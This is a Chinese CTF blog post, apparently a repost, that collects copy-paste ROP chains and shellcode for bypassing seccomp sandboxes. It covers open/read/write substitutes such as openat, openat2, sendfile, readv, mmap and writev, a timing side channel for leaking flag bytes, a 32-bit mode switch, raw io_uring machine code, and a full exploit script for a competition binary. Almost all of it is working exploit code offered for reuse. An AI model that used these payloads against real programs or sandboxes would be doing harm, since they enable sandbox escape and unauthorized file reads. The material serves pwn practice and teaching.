Liyck

“你的情有独钟只能对值得的人持有”

seccomp沙盒绕过

seccomp沙盒绕过 (rop与shellcode集合)

前言

起因

在每次遇到沙盒时都要重新写rop或者shellcode,这非常不健康,所以我写了这篇文章,尽可能的让这里的代码能拿来就能用。

在正篇里将直接用rop或shellcode中使用的函数进行命名,这样可以快速并清晰的找到要用的代码。

注意: open+read+write为模版,之后相对应的代码可以直接进行替换,比如pread64可以直接将read进行替换(活字印刷术)。

以下为例题程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# rop对应程序
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

printf("%lp\n", &printf, envp);
gets(v4);
return 0;
}
# python3脚本
from pwncli import *
context(arch='amd64',os='linux',log_level='debug')
p   = lambda s,t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")

sh = process("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

libc.address = eval(sh.recvline()) - libc.sym["printf"]

# ---------需要更改
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x0000000000163f88
pop_rdx_r12 = libc.address + 0x000000000011f2e7
pop_rcx = libc.address + 0x000000000003d1ee

rop = b"a"*0x18 + [rop程序]  # ------
sh.sendline(rop)

sh.interactive()

image

1
2
3
4
5
6
7
8
9
10
11
# python3脚本
from pwncli import *
context(arch='amd64',os='linux',log_level='debug')
p   = lambda s,t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")

sh = process("./shellcode")

shellcode = [shellcode代码] #-----------
sh.sendline(asm(shellcode))

sh.interactive()

沙盒

沙盒是一种对程序的保护,他可以禁用一些系统调用从而增加pwn题目的难度,迫使pwner们通过ORW的方法进行绕过沙盒。比如最常见的禁用execve,那么就只能通过open,read,write来直接读取flag的内容。

沙盒检测

1
seccomp-tools dump ./pwn

正篇

open+read+write

rop

1
2
3
4
5
6
7
8
rop = b"a"*0x18
rop += flat(pop_rdi, 0, pop_rsi, libc.sym["_IO_list_all"]+8, pop_rdx_r12, 0x200, 0, libc.sym["read"])  # read
rop += flat(pop_rdi, libc.sym["_IO_list_all"]+8, pop_rsi, 0, pop_rdx_r12, 0, 0, libc.sym["open"])  # open
rop += flat(pop_rdi, 3, pop_rsi, libc.sym["_IO_list_all"]+8, pop_rdx_r12, 0x200, 0, libc.sym["read"])  # read
rop += flat(pop_rdi, 1, pop_rsi, libc.sym["_IO_list_all"]+8, pop_rdx_r12, 0x200, 0, libc.sym["write"])  # write

sh.sendline(rop)
sh.sendline("/flag\x00")

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
shellcode = shellcraft.amd64.pushstr("/flag")
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 0x200)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 0x200)
flag_name = b'/flag'
shellcode = ""
shellcode += """ 
    mov r12,""" + str(u64(flag_name.ljust(8,b'\x00'))) + """
    mov [rsp],r12
"""

shellcode += """
    mov rdi, rsp
    mov rsi, 0
    mov rdx, 0
    mov rax,2
    syscall
"""   # open

shellcode += """
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x100
    xor rax, rax
    syscall
"""   # read

shellcode += """
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 1
    syscall
"""   # write

open替代

openat

rop

1
rop += flat(pop_rdi, 3, pop_rsi, libc.sym["_IO_list_all"]+8, pop_rdx_r12, 0, 0, libc.sym["openat"])

shellcode

1
2
3
4
5
6
7
8
9
10
11
shellcode += shellcraft.amd64.linux.openat(3,'rsp', 0)


shellcode += """
mov rdi, -100 #mov rdi, 3也可以,但是不通用,要是fd=3所指的目录
mov rsi, rsp
mov rdx, 0
mov r10, 0
mov rax,0x101
syscall
"""

openat2

rop

1
2
3
4
5
6
7
8
bss_addr = 0x000000000404020 # 写bss段
exec_fd = (bss_addr >> 12) << 12
rop = b"a" * 0x18
rop += flat(pop_rdi, exec_fd, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym["mprotect"])
rop += flat(pop_rdi, 0, pop_rsi, exec_fd, pop_rdx_r12, 0x1000, 0, libc.sym["read"], exec_fd)

sh.sendline(rop)
sh.sendline([shellcode]) # 填写shellcode

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
shellcode = '''
mov r12, 0x0067616c66
mov [rsp], r12

xor rax, rax
push rax
push rax
push rax
push rax

mov rdi, -100       
lea rsi, [rsp+0x20]  
mov rdx, rsp         
mov r10, 0x18        
mov rax, 437        
syscall
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x100
mov rax, 0x28
syscall
'''

read替代

pread

rop

1
rop += flat(pop_rdi, 3, pop_rsi, libc.sym["_IO_list_all"]+8, pop_rdx_r12, 0x200, 0, pop_rcx, 0, libc.sym["pread"])

shellcode

1
2
3
4
5
6
7
8
9
10
11
shellcode += shellcraft.amd64.linux.pread('rax', 'rsp', 0x200, 0)


shellcode += """
mov rdi, 3
mov rsi, rsp
mov rdx, 0x100
mov r10, 0
mov rax, 0x11
syscall
"""   # read

readv

rop

1
2
3
4
5
6
7
8
bss_addr = 0x000000000404020 # 写bss段
exec_fd = (bss_addr >> 12) << 12
rop = b"a" * 0x18
rop += flat(pop_rdi, exec_fd, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym["mprotect"])
rop += flat(pop_rdi, 0, pop_rsi, exec_fd, pop_rdx_r12, 0x1000, 0, libc.sym["read"], exec_fd)

sh.sendline(rop)
sh.sendline([shellcode]) # 填写shellcode

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellcode += '''
push 0x200
push 0x200
mov [rsp],rsp
'''
shellcode += shellcraft.amd64.linux.readv('rax', 'rsp', 1)


shellcode += """
push 0x200
push 0x200
mov [rsp],rsp
mov rdi, 3
mov rsi, rsp
mov rdx, 0x1
mov rax, 0x13
syscall
"""   # read

preadv

rop

1
2
3
4
5
6
7
8
bss_addr = 0x000000000404020 # 写bss段
exec_fd = (bss_addr >> 12) << 12
rop = b"a" * 0x18
rop += flat(pop_rdi, exec_fd, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym["mprotect"])
rop += flat(pop_rdi, 0, pop_rsi, exec_fd, pop_rdx_r12, 0x1000, 0, libc.sym["read"], exec_fd)

sh.sendline(rop)
sh.sendline([shellcode]) # 填写shellcode

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shellcode += '''
push 0x200
push 0x200
mov [rsp],rsp
'''
shellcode += shellcraft.amd64.linux.preadv('rax', 'rsp', 1, 0)
shellcode += """
push 0x200
push 0x200
mov [rsp],rsp
mov rdi, 3
mov rsi, rsp
mov rdx, 0x1
mov r10, 0
mov rax, 0x127
syscall
"""   # read

mmap

rop

1
2
3
4
5
6
7
8
bss_addr = 0x000000000404020 # 写bss段
exec_fd = (bss_addr >> 12) << 12
rop = b"a" * 0x18
rop += flat(pop_rdi, exec_fd, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym["mprotect"])
rop += flat(pop_rdi, 0, pop_rsi, exec_fd, pop_rdx_r12, 0x1000, 0, libc.sym["read"], exec_fd)

sh.sendline(rop)
sh.sendline([shellcode]) # 填写shellcode

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 主要mmap映射到了0x777721000,所以之后的write也需要输出0x777721000位置的内容。
shellcode += shellcraft.amd64.linux.mmap(0x777721000, 0x100, 1, 2, 3, 0)


# 主要mmap映射到了0x777721000,所以之后的write也需要输出0x777721000位置的内容。
shellcode += """
mov rdi, 0x777721000
mov rsi, 0x100
mov rdx, 1
mov r10, 2
mov r8, 3
mov r9, 0
mov rax, 9
syscall
"""   # read

sendfile

sendfile可以直接代替write与read

rop

1
rop += flat(pop_rdi, 1, pop_rsi, 3, pop_rdx_r12, 0, 0, pop_rcx, 0x100, libc.sym["sendfile"])

shellcode

1
2
3
4
5
6
7
8
9
10
11
shellcode += shellcraft.amd64.linux.sendfile(1, "rax", 0, 0x200)


shellcode += """
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x100
mov rax, 0x28
syscall
""" 

write替代

writev

rop

1
2
3
4
5
6
7
8
bss_addr = 0x000000000404020 # 写bss段
exec_fd = (bss_addr >> 12) << 12
rop = b"a" * 0x18
rop += flat(pop_rdi, exec_fd, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym["mprotect"])
rop += flat(pop_rdi, 0, pop_rsi, exec_fd, pop_rdx_r12, 0x1000, 0, libc.sym["read"], exec_fd)

sh.sendline(rop)
sh.sendline([shellcode]) # 填写shellcode

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 注意flag输出不在开头
shellcode += '''
push 0x200
push 0x200
mov [rsp],rsp
'''
shellcode += shellcraft.amd64.linux.writev(1, 'rsp', 0x1)


# 注意flag输出不在开头
shellcode += """
push 0x200
push 0x200
mov [rsp],rsp
mov rdi, 1
mov rsi, rsp
mov rdx, 0x1
mov rax, 0x14
syscall
"""   # write

sendfile

sendfile可以直接代替write与read

rop

1
rop += flat(pop_rdi, 1, pop_rsi, 3, pop_rdx_r12, 0, 0, pop_rcx, 0x100, libc.sym["sendfile"])

shellcode

1
2
3
4
5
6
7
8
9
shellcode += shellcraft.amd64.linux.sendfile(1, "rax", 0, 0x200)
shellcode += """
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x100
mov rax, 0x28
syscall
""" 

侧信道攻击

这个攻击比较特殊,实在没有输出手段的时候就利用此方法,此方法相当不准确,谨慎使用。

如果rop同上面一样使用

1
2
3
4
5
6
7
8
bss_addr = 0x000000000404020 # 写bss段
exec_fd = (bss_addr >> 12) << 12
rop = b"a" * 0x18
rop += flat(pop_rdi, exec_fd, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym["mprotect"])
rop += flat(pop_rdi, 0, pop_rsi, exec_fd, pop_rdx_r12, 0x1000, 0, libc.sym["read"], exec_fd)

sh.sendline(rop)
sh.sendline([shellcode]) # 填写shellcode

来转化成写shellcode

接下来看shellcode怎么写。

image

现在假设flag已经读到了栈上,但是没有办法读(没有系统调用 & close(1))。

那么可以进行爆破,因为没有返回,所以爆破就只能看时间来判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
flag = ''
for offset in range(30):
for byte in range(0x20,0x80):
  sh = process("./shellcode")
  shell = asm(shellcode + """
      infinite_loop: 
      cmp byte ptr[rsp+{}], {}
      je infinite_loop
          """.format(str(offset),str(byte)))
  sh.sendlineafter("shellcode: \n",shell)
  try:
      sh.recv(timeout=0.2)
      flag += chr(byte)
      print(flag + "---" + str(byte))
      sh.close()
      break
  except:
      pass

  print(flag + "---" + str(byte))
  sh.close()

shellcode为读取文件的code。

image

很慢,但可行。

转32位

利用条件

rop

可以调用mprotect来转化成写shellcode

1
2
3
4
5
6
7
8
bss_addr = 0x000000000404020  # 写bss段
exec_fd = (bss_addr >> 12) << 12
rop = b"a" * 0x18
rop += flat(pop_rdi, exec_fd, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym["mprotect"])
rop += flat(pop_rdi, 0, pop_rsi, exec_fd, pop_rdx_r12, 0x1000, 0, libc.sym["read"], exec_fd)

sh.sendline(rop)
sh.sendline([shellcode]) # 填写shellcode

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
shellcode64 = shellcraft.amd64.linux.mmap(0x700000, 0x1000, 7, 0x32, -1, 0)
shellcode64 += shellcraft.amd64.linux.read(0, 0x700000, 0x1000)
shellcode64 += """
mov rsp,0x700800
mov DWORD PTR [rsp+4], 0x23
mov DWORD PTR [rsp], 0x700000
retfd
"""
shellcode32 = """
push 0x67616C66
"""

shellcode32 += """
push esp
push 0
push 0
pop edx
pop ecx
pop ebx
push 5
pop eax
int 0x80
"""   # open

shellcode32 += """
push eax
push esp
push 0x100
pop edx
pop ecx
add ecx, 0x20
pop ebx
push 3
pop eax
int 0x80
"""   # read
shellcode32 += """
push 1
pop ebx
push 4
pop eax
int 0x80
"""   # write
sh.sendline(asm(shellcode64, arch='amd64', bits=64))
sh.sendline(asm(shellcode32, arch='i386', bits=32))

绕过close(1)

侧信道攻击

同write替代中的侧信道攻击

远程链接socket&connect

有些程序会调用子进程,子进程对外开放,但是rop写后只能在主进程运行,输出没法显示在远程,或者close(1),那么可以用此方法,此方法需要公网ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    struct sockaddr_in *serv_addr = malloc(sizeof(struct sockaddr_in));
    memset(serv_addr, 0, sizeof(struct sockaddr_in));
    serv_addr->sin_family = AF_INET;
    serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1");   //填入ip地址和端口
    serv_addr->sin_port = htons(8888);
    printf(%lp,*serv_addr);
    return 0;
}

open("/dev/pts/?")

使用open("/dev/pts/?")重新打开标准输出

超级代码

这个代码利用了下面三个个系统调用

1
2
3
9	common	mmap			__x64_sys_mmap
425	common	io_uring_setup		__x64_sys_io_uring_setup
426	common	io_uring_enter		__x64_sys_io_uring_enter

汇编如下

push   r15
mov    ecx,0x1e
push   r14
push   r13
xor    r13d,r13d
push   r12
mov    eax,r13d
push   rbp
push   rbx
sub    rsp,0x68
lea    rdi,[rsp-0x10]
lea    rsi,[rsp-0x10]
rep stos DWORD PTR es:[rdi],eax
mov    edi,0x10
mov    eax,0x1a9
syscall
mov    ebx,0x9
mov    r12,rax
mov    r14d,eax
mov    r8d,eax
xor    r9d,r9d
mov    r10d,0x1
mov    edx,0x3
xor    edi,edi
mov    esi,0x1000
mov    eax,ebx
syscall
mov    r9d,0x8000000
mov    rbp,rax
mov    eax,ebx
syscall
mov    r9d,0x10000000
mov    r15,rax
mov    eax,ebx
syscall
mov    ecx,0x10
mov    rbx,rax
mov    rdi,rax
mov    eax,r13d
rep stos DWORD PTR es:[rdi],eax
mov    edi,r12d
mov    r12d,0x1aa
xor    r9d,r9d
xor    r8d,r8d
mov    edx,0x1
mov    esi,0x1
movabs rax,0xffffff9c00001012
mov    QWORD PTR [rbx],rax
lea    rax,[rip+0xc1]        # 0x7ffcf065b5c0
mov    QWORD PTR [rbx+0x10],rax
mov    eax,DWORD PTR [rsp+0x30]
mov    DWORD PTR [rbp+rax*1+0x0],0x0
mov    eax,DWORD PTR [rsp+0x1c]
inc    DWORD PTR [rbp+rax*1+0x0]
mov    eax,r12d
syscall
mov    eax,DWORD PTR [rsp+0x54]
mov    rdi,rbx
mov    ecx,0x10
mov    edx,DWORD PTR [r15+rax*1+0x8]
mov    eax,r13d
lea    r15,[rsp-0x74]
rep stos DWORD PTR es:[rdi],eax
mov    BYTE PTR [rbx],0x16
mov    eax,DWORD PTR [rsp+0x30]
mov    edi,r14d
mov    DWORD PTR [rbx+0x4],edx
mov    edx,0x1
mov    QWORD PTR [rbx+0x10],r15
mov    DWORD PTR [rbx+0x18],0x64
mov    DWORD PTR [rbp+rax*1+0x0],0x0
mov    eax,DWORD PTR [rsp+0x1c]
inc    DWORD PTR [rbp+rax*1+0x0]
mov    eax,r12d
syscall
mov    ecx,0x10
mov    eax,r13d
mov    rdi,rbx
mov    edx,0x3
rep stos DWORD PTR es:[rdi],eax
mov    QWORD PTR [rbx+0x10],r15
mov    edi,r14d
movabs rax,0x100000017
mov    QWORD PTR [rbx],rax
mov    eax,DWORD PTR [rsp+0x30]
mov    DWORD PTR [rbx+0x18],0x64
mov    DWORD PTR [rbp+rax*1+0x0],0x0
mov    eax,DWORD PTR [rsp+0x1c]
inc    DWORD PTR [rbp+rax*1+0x0]
mov    eax,r12d
syscall
add    rsp,0x68
xor    eax,eax
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret
cs (bad)

机器码如下

1
shellcode = b'AW\xb9\x1e\x00\x00\x00AVAUE1\xedATD\x89\xe8USH\x83\xechH\x8d|$\xf0H\x8dt$\xf0\xf3\xab\xbf\x10\x00\x00\x00\xb8\xa9\x01\x00\x00\x0f\x05\xbb\t\x00\x00\x00I\x89\xc4A\x89\xc6A\x89\xc0E1\xc9A\xba\x01\x00\x00\x00\xba\x03\x00\x00\x001\xff\xbe\x00\x10\x00\x00\x89\xd8\x0f\x05A\xb9\x00\x00\x00\x08H\x89\xc5\x89\xd8\x0f\x05A\xb9\x00\x00\x00\x10I\x89\xc7\x89\xd8\x0f\x05\xb9\x10\x00\x00\x00H\x89\xc3H\x89\xc7D\x89\xe8\xf3\xabD\x89\xe7A\xbc\xaa\x01\x00\x00E1\xc9E1\xc0\xba\x01\x00\x00\x00\xbe\x01\x00\x00\x00H\xb8\x12\x10\x00\x00\x9c\xff\xff\xffH\x89\x03H\x8d\x05\xc1\x00\x00\x00H\x89C\x10\x8bD$0\xc7D\x05\x00\x00\x00\x00\x00\x8bD$\x1c\xffD\x05\x00D\x89\xe0\x0f\x05\x8bD$TH\x89\xdf\xb9\x10\x00\x00\x00A\x8bT\x07\x08D\x89\xe8L\x8d|$\x8c\xf3\xab\xc6\x03\x16\x8bD$0D\x89\xf7\x89S\x04\xba\x01\x00\x00\x00L\x89{\x10\xc7C\x18d\x00\x00\x00\xc7D\x05\x00\x00\x00\x00\x00\x8bD$\x1c\xffD\x05\x00D\x89\xe0\x0f\x05\xb9\x10\x00\x00\x00D\x89\xe8H\x89\xdf\xba\x03\x00\x00\x00\xf3\xabL\x89{\x10D\x89\xf7H\xb8\x17\x00\x00\x00\x01\x00\x00\x00H\x89\x03\x8bD$0\xc7C\x18d\x00\x00\x00\xc7D\x05\x00\x00\x00\x00\x00\x8bD$\x1c\xffD\x05\x00D\x89\xe0\x0f\x05H\x83\xc4h1\xc0[]A\\A]A^A_\xc3./flag'

比赛例题

御网杯半决赛线下

image-20250717222541764

虽然保护全开,但是mmap把写入地方的权限改成可读可写可执行了,问题就是沙盒把orw和execve全禁了

image-20250717222830814

之前比赛一筹莫展,主要是积累函数太少了,可以用opennat,sendfile替代的

exp:

用opennat,sendfile替代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from ctypes import *

pwn = './pwn'

if args['REMOTE']:
    io = remote('192.168.18.22', 8888)
else:
    io = process(pwn)

context(log_level='debug')
#context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
inter = lambda: io.interactive()

l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu32_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(8), 16)
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
uu64_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(12), 16)
uuu64 = lambda: u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
uuuu64 = lambda target: u64((ru(target)[-1:] + r(5)).ljust(8, b'\x00'))

int16 = lambda data: int(data, 16)

lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def get_orw():
    return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']

def debug(script=f''):
    script = f'b __call_tls_dtors'
    gdb.attach(proc.pidof(io)[0], script)
    pause()

def fmt(value, offset=14, size='hhn'):
    if size == 'hhn':
        num = value & 0xff
    elif size == 'hn':
        num = value & 0xffff
    elif size == 'n':
        num = value & 0xffffffff
    payload = f'%{num}c%{offset}size'.encode()
    #value 是格式化字符串偏移          
    return payload

lss = lambda s: log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def cat_flag():
    flag_header = b'flag{'
    sleep(1)
    sl('cat flag')
    ru(flag_header)
    flag = flag_header + ru('}') + b'}'
    exit(0)

#debug()
shellcode = '''
 mov r12, 0x0067616c66 
 mov [rsp], r12
 xor rsi,rsi     
 xor r10, r10
 mov rdi, -100
 mov rsi, rsp
 mov rdx, 0
 mov rax,0x101
 syscall
 mov rdi, 1
 mov rsi, rax
 mov rdx, 0
 mov r10, 0x100
 mov rax, 0x28
 syscall
'''

sl(asm(shellcode))


inter()
用opennat2,sendfile替代的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
shellcode = '''
mov r12, 0x0067616c66
mov [rsp], r12

xor rax, rax
push rax
push rax
push rax
push rax

mov rdi, -100       
lea rsi, [rsp+0x20]  
mov rdx, rsp         
mov r10, 0x18        
mov rax, 437        
syscall
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x100
mov rax, 0x28
syscall
'''
用mmap,writev替代的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
shellcode = '''
mov r12, 0x0067616c66
mov [rsp], r12

xor rax, rax
push rax
push rax
push rax
push rax

mov rdi, -100       
lea rsi, [rsp+0x20]  
mov rdx, rsp         
mov r10, 0x18        
mov rax, 437        
syscall
mov rdi, 0x777721000
mov rsi, 0x100
mov rdx, 1
mov r10, 2
mov r8, 3
mov r9, 0
mov rax, 9
syscall
mov rbx, 0x777721000     
mov rcx, 0x100         
sub rsp, 0x20
mov [rsp], rbx
mov [rsp + 8], rcx
mov rdi, 1              
mov rsi, rsp           
mov rdx, 1               
mov rax, 0x14            
syscall
'''

一直在学习大佬的路上 转载作者原文 https://www.cnblogs.com/xmiscx/p/18827064